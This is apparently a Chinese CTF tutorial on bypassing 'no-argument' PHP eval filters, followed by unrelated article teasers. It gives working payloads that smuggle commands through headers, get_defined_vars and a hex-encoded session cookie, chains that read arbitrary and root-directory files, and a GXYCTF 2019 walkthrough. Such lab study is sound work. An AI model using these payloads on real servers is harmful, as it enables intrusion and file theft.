无参数绕过RCE

一.什么是无参数

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

无参数题目特征

    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
        eval($_GET['star']);
    }

代码解析

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式

eg:

[^\W]+\(?\)匹配到"a()"形式的字符串,但是()不能内出现任何参数(?R)代表递归,即a(b(c()))都能匹配到

使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。

无参数命令执行(RCE)

既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制

HTTP 请求标头

首先想到headers,因为headers我们用户可控

用到的函数:

getallheaders()

(局限于Apache    apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache

获取所有 HTTP 请求标头

pos()

把第一项的值显示出来

eg: ?code=print_r(pos(getallheaders()))

end()

把最后一项的值显示出来

eg: ?code=print_r(end(getallheaders()))

还没有做到这个方法的题

先借用一下别人的图

sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。

var_dump(end(getallheaders()));
eval(end(getallheaders()));

全局变量RCE

函数

get_defined_vars()

返回所有已定义变量的值,所组成的数组

返回数组顺序为GET->POST->COOKIE->FILES

?star=print_r(get_defined_vars());

我们加个pos()让他显示第一行 显示我们的get请求

?star=print_r(pos(get_defined_vars()));

?star=print_r(pos(get_defined_vars()));&cmd=system('ls');

在后面再自定义一个变量

再用end()函数显示最后一个值

?star=print_r(end(pos(get_defined_vars())));&cmd=system('ls');

把print_r换成eval,assert即可执行命令system('ls');

session

session_start()

启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回 FALSE

?star=print_r(session_start());

?star=print_r(session_id(session_start()));

返回PHPSESSID的值

?star=show_source(session_id(session_start()));

print_r修改为show_source()
用Burp suite修改PHPSESSID的值为./flag
用show_source读取flag文件源代码

但是phpsession不允许()出现

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

以下是十六进制编码脚本:

    <?php
    $encoded = bin2hex("phpinfo();");
    echo $encoded;
    ?>

得到phpinfo();的十六进制编码,即706870696e666f28293b

那么payload就可以是:

?参数=eval(hex2bin(session_id(session_start())));

同时更改cookie后的值为想执行的命令的十六进制编码

参考无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

scandir()文件读取

一些函数学习

scandir()-列出指定路径中的文件和目录(PHP 5,PHP 7,PHP 8)

比如里面加个'.'就是读取当前路径中的文件和目录

getcwd()- 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)

类似与linux里面的pwd

current()- 返回数组中的当前值(PHP 4, PHP 5, PHP 7, PHP 8)

 next()- 将数组中的内部指针向前移动(PHP 4,PHP 5,PHP 7,PHP 8)

array_reverse()- 返回单元顺序相反的数组(PHP 4,PHP 5,PHP 7, PHP 8)

array _flip()- 交换数组中的键和值(PHP 4, PHP 5, PHP 7,PHP 8)

 array_rand() - 从数组中随机取出一个或多个随机键

dirname()

函数返回路径中的目录部分。

 chdir() -系统调用函数(同cd),用于改变当前工作目录

改变成功返回1

strrev()-用于反转给定的字符串

crypt()一用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES

hebrevc()-把希伯来文本从右至左的流转换为左至右的流

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

localeconv() 函数会返回以下数组元素:

  • [decimal_point] - 小数点字符
  • [thousands_sep] - 千位分隔符
  • [int_curr_symbol] - 货币符号 (例如:USD)
  • [currency_symbol] - 货币符号 (例如:$)
  • [mon_decimal_point] - 货币小数点字符
  • [mon_thousands_sep] - 货币千位分隔符
  • [positive_sign] - 正值字符
  • [negative_sign] - 负值字符
  • [int_frac_digits] - 国际通用小数位
  • [frac_digits] - 本地通用小数位
  • [p_cs_precedes] - 如果货币符号在一个正数值之前显示,则为 True(1),如果在正数值之后显示,则为 False(0)
  • [p_sep_by_space] - 如果在货币符号和正数值之间包含空格,则为 True(1),否则为 False(0)
  • [n_cs_precedes] - 如果货币符号在一个负数值之前显示,则为 True(1),如果在负数值之后显示,则为 False(0)
  • [n_sep_by_space] - 如果在货币符号和负数值之间包含空格,则为 True(1),否则为 False(0)
  • [p_sign_posn] - 格式化选项:

查看当前目录文件

?star=print_r(localeconv());

这里只需要用到这里第一个是'.'

用current()函数就能构造出来这个点了

?star=print_r(current(localeconv()));

再结合scandir()函数就能看到当前目录的文件

?star=print_r(scandir(current(localeconv())));

然后根据我们上面所学的current()函数,array_reverse()函数,next()函数就可以得到我们想看到的任意文件

再用show_source查看文件内容

就可以做到当前路径文件任意读取

法二:

可以使用getcwd()

?star=print_r(scandir(getcwd()));

 同上 也可以做到同样的效果

查看上级目录文件

?star=print_r(dirname(getcwd()));

通过dirname()得到上级文件的绝对路径

?star=print_r(scandir(dirname(getcwd())));

再用scandir()就可以看到我们当前路径的文件

?star=show_source(end(scandir(dirname(getcwd()))));

但是在这里show_source()是看不到的

原因是我们所在的当前目录下 并没有上一级目录下的文件

我们必须要进入上一级目录

才能show_source这里的文件

这里就要用到上面的chdir()函数了

?star=print_r(chdir(dirname(getcwd())));

这里就成功进入上一级目录

用dirname()构造“.”

?star=show_source(pos(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

那么 问题来了

如果我们要读取的文件既不是第一个也不是最后一个也不是倒数第二个 也不是第二个

那我们怎么实现任意文件读取呢?

任意文件读取

我们可以用array _rand()array_flip()两个函数

array_flip()函数实现交换数组中的键和值

array _rand()函数 随机生成键

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))))

查看根目录文件

查看根目录只需要构造出'/'就可以

先用arrary()函数 创建数组 它回显的也是arrary()

然后将它序列化

再加密

就会随机出现尾部位置我们想要的/

?star=print_r(crypt(serialize(array())));

然后用strrev()函数反转巴黎

那我们怎么得到它的第一个字符呢?

ord()函数和 chr() 函数
只能对第一个字符进行转码
ord() 编码, chr()解码

?star=print_r(chr(ord(strrev(crypt(serialize(array()))))));

这样就能成功得到我们想要的/了

?star=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

成功查看出我们想要的根目录文件

?star=show_source(array_randarray_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

这里随机的不确定性因素很多

可以用bp爆破一下

跑个1000次

就肯定能出来了

例题

[GXYCTF 2019]禁止套娃

打开先用dirsearch扫一下

发现是有git源码泄露

用githack还原一下

python GitHack.py http://node4.anna.nssctf.cn:28038/.git

得到源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

我们通过源码知道

flag直接是在当前目录

直接查看当前目录里的flag就ok

payload:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

这里et被过滤了 getallheaders() get_defined_vars()函数被过滤了

不能用http请求头 和全局变量

但是这题已知文件名 并且无需编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/524604.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于 S2-LP 实现 802.15.4g 帧格式的数据透传

1. 引言 S2-LP 硬件上支持 802.15.4g 的帧格式&#xff0c;但是现有的 SDK 包并没有基于该帧格式的示例工程&#xff0c;因此本篇文章将介绍如何实现基于 802.15.4g 帧格式的数据透传。 2. 802.15.4g 帧格式 在开始之前&#xff0c;需要对 802.15.4g 帧格式有一个初步的了解…

springCloud-LoadBalancer负载均衡微服务负载均衡器LoadBalancer

2020年前SpringCloud是采用Ribbon作为负载均衡实现&#xff0c;但是在2020后采用了LoadBalancer替代 LoadBalancer默认提供了两种负载均衡策略&#xff08;只能通过配置类来修改负载均衡策略&#xff09; 1.RandomLoadBalancer-随机分配策略 2.RoundRobinLoadBalancer-轮询分配…

基于SSM的周边乡村旅游小程序

系统实现 游客注册通过注册窗口&#xff0c;进行在线填写自己的账号、密码、姓名、年龄、手机、邮箱等&#xff0c;信息编辑完成后核对信息无误后进行选择注册&#xff0c;系统核对游客所输入的账号信息是否准确&#xff0c;核对信息准确无误后系统进入到操作界面。 游客登录通…

[图像处理] MFC载入图片并绘制ROI矩形

上一篇&#xff1a; [图像处理] MFC载入图片并进行二值化处理和灰度处理及其效果显示 文章目录 前言完整代码重要代码效果 前言 上一篇实现了MFC通过Picture控件载入图片。 这一篇实现ROI功能的第一部分&#xff0c;在Picture控件中&#xff0c;通过鼠标拖拽画出一个矩形。 完…

实时计算平台设计方案:913-基于100G光口的DSP+FPGA实时计算平台

基于100G光口的DSPFPGA实时计算平台 一、产品概述 基于以太网接口的实时数据智能计算一直应用于互联网、网络安全、大数据交换的场景。以DSPFPGA的方案&#xff0c;体现了基于硬件计算的独特性能&#xff0c;区别于X86GPU的计算方案&#xff0c;保留了高带宽特性&…

产品推荐 | 星嵌基于TI TMS320C6657+Xilinx XC7Z035/045 DSP+FPGA+ARM工业核心板

1、产品概述 广州星嵌电子科技有限公司研发的C6657ZYNQ7035/45工业核心板&#xff0c;是基于TI KeyStone 架构C6000 系列TMS320C6657 双核C66x定点/浮点DSP 以及 Xilinx ZYNQ-7000 系列XC7Z035/045 SoC 处理器设计的。 DSP处理器采用TMS320C6657&#xff0c;双核C66x定点/浮点…

FIN和RST的区别,几种TCP连接出现RST的情况

一、RST跟FIN的区别&#xff1a; 正常关闭连接的时候发的包是FIN&#xff0c;但是如果是异常关闭连接&#xff0c;则发送RST包 两者的区别在于&#xff1a; 1.RST不必等缓冲区的包都发出去&#xff0c;直接就丢弃缓存区的包发送RST包。而FIN需要先处理完缓存区的包才能发送F…

【小白学机器学习11】假设检验之2:Z检验(U检验,正态检验)

目录 1 什么是Z检验 1.1 Z检验的别名 Z-test /U-test / 正态检验 1.2 维基百科定义 1.2 百度百科定义 1.3 定义提炼关键点 1.4 Z检验量 : Z(X-θ)/s (X-u)/s 2 Z检验量的构造 2.1 Z检验量 : Z(X_-u)/s 2.2 Z检验变量的构造 2.4 Z检验量的核心参数 2.4.1 原始公式 …

使用单点登录(SSO)如何提高安全性和用户体验

什么是单点登录&#xff08;SSO&#xff09; 对于所有大量采用云应用程序的组织来说&#xff0c;有效的身份管理是一个巨大的挑战&#xff0c;如果每个 SaaS 应用程序的用户身份都是独立管理的&#xff0c;则用户必须记住多个密码&#xff0c;技术支持技术人员在混合环境中管理…

【ELK】搭建elk日志平台(使用docker-compose),并接入springboot项目

1、环境搭建 前提条件&#xff1a;请自行安装docker以及docker-compose环境 version: 3 services:elasticsearch:image: elasticsearch:7.14.0container_name: elasticsearchports:- "9200:9200"- "9300:9300"environment:# 以单一节点模式启动discovery…

ASP.NET Core 模型绑定

&#x1f340;介绍 在C#中&#xff0c;特别是在ASP.NET Core中&#xff0c;模型绑定是一个将HTTP请求中的数据映射到C#对象的过程。它使得开发者能够方便地从请求中提取数据&#xff0c;而无需手动解析请求体、查询字符串、路由数据等。ASP.NET Core提供了多种特性&#xff08…

uniapp极光推送、java服务端集成

一、准备工作 1、进入【服务中心】-【开发者平台】 2、【创建应用】&#xff0c;填写应用名称和图标&#xff08;填写项目名称&#xff0c;项目logo就行&#xff0c;也可填写其他的&#xff09; 3、选择【消息推送】服务&#xff0c;点击下一步 ​ ​ Demo测试 参照文档&…

数据备份的演变:数字时代的一个关键方面

微信关注获取更多内容 数据备份至关重要&#xff0c;涵盖了其过去、现在和未来&#xff0c;是数字时代任何企业运营的一个重要方面。 如今&#xff0c;公司运营的几乎每个方面&#xff0c;从客户信息到内部财务数据&#xff0c;都以数字方式存储。 有鉴于此&#xff0c;数据…

【Linux系列】“dev-node1“ 运行的操作系统分析

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

【STL】list的底层原理及其实现

文章目录 list的介绍list的整体结构设计list的构造代码模拟实现&#xff1a; list节点类的实现list 迭代器Iterator的使用以及实现Iterator的使用Iterator的底层实现反向迭代器 list与vector的比较实现list类 list的介绍 list是可以在常数范围内在任意位置进行插入和删除的序列…

Linux中shell脚本的学习第一天,编写脚本的规范,脚本注释、变量,特殊变量的使用等,包含面试题

4月7日没参加体侧的我自学shell的第一天 Shebang 计算机程序中&#xff0c;shebang指的是出现在文本文件的第一行前两个字符 #&#xff01; 1)以#!/bin/sh 开头的文件&#xff0c;程序在执行的时候会调用/bin/sh, 也就是bash解释器 2)以#!/usr/bin/python 开头的文件&#…

科研学习|研究方法——扎根理论三阶段编码如何做?

一、背景介绍 “主题标引”意指对文献内容进行分析, 然后对文献所表达的中心思想、所讨论的基本问题以及研究的对象等进行提取, 以形成主题概念, 然后在此基础上把可检索的主题词表示出来, 再将这些主题词按一定顺序 (如字顺) 排列, 对论述相同主题内容的文献加以集中, 从而提高…

vmware和ubuntu的问题与解决

1.问题与对策 最近使用vmware安装ubuntu16和ubuntu20&#xff0c;遇到了挺多的问题&#xff0c;如下 ubuntu在用过多次后&#xff0c;重启后登录用户名后会出现花屏的现象。 解决方案如下 在键盘上同时按键&#xff1a;Ctrl Alt F4&#xff0c;进入命令行模式&#xff0c;…

Hive3.0.0建库表命令测试

Hive创建表格格式如下&#xff1a; create [external] table [if not exists] table_name [(col_name data_type [comment col_comment],)] [comment table_comment] [partitioned by(col_name data_type [comment col_comment],)] [clustered by (col_name,col_name,...)…

三防平板定制服务:亿道信息与个性化生产的紧密结合

在当今数字化时代&#xff0c;个性化定制已经成为了市场的一大趋势&#xff0c;而三防平板定制服务作为其中的一部分&#xff0c;展现了数字化技术与个性化需求之间的紧密结合。这种服务是通过亿道信息所提供的技术支持&#xff0c;为用户提供了满足特定需求的定制化三防平板&a…